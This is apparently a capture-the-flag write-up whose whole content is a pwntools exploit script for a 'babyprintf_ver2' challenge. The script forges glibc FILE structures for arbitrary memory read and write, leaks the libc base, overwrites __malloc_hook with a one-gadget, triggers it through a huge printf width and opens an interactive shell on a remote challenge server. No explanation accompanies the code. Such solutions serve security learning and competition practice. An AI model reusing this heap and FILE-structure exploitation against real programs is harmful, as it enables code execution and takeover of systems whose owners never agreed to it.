Tags: pwn 

Rating:

```
from pwn import *

local = False

# Credits: https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0):
struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
struct = struct.ljust(0x88, "\x00")
struct += p64(_lock)
struct = struct.ljust(0xd8, "\x00")
return struct

def write(what, where):
while what:
p = 'A' * 16
p += p64(buf + 32)
p += p64(0)
p += pack_file(_flags = 0xfbad2887,
_IO_read_end = buf,
_IO_buf_base = where,
_fileno = 1,
_lock = buf + 0x100)
s.sendline(p)
s.sendline(chr(what & 0xff))
where += 1
what >>= 8

def leak(where):
p = 'A' * 16
p += p64(buf + 32)
p += p64(0)
p += pack_file(_flags = 0xfbad2887,
_IO_read_end = where,
_IO_write_base = where,
_IO_write_ptr = where + 8,
_fileno = 1,
_lock = buf + 0x100)
s.sendline(p)
s.recvline()
return u64(s.recv(8))

if local:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ONE_SHOT = 0x4526A

s = process('./babyprintf_ver2')
else:
libc = ELF('./libc64.so')
ONE_SHOT = 0x4F322

s = remote('150.109.44.250', 20005)
s.sendline('IDEp7goBeitrNz1gO8MgiKWiOSgiiC4W')

s.recvuntil('0x')
buf = int(s.recv(12), 16)

print 'buf @ ' + hex(buf)

s.recvuntil('Have fun!\n')

libc_base = leak(buf + 0xf8) - libc.symbols['_IO_file_jumps']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_shot = libc_base + ONE_SHOT

print 'libc @ ' + hex(libc_base)

write(one_shot, malloc_hook)

s.sendline('%66000c')
s.recvuntil('\x7f')

s.interactive()
```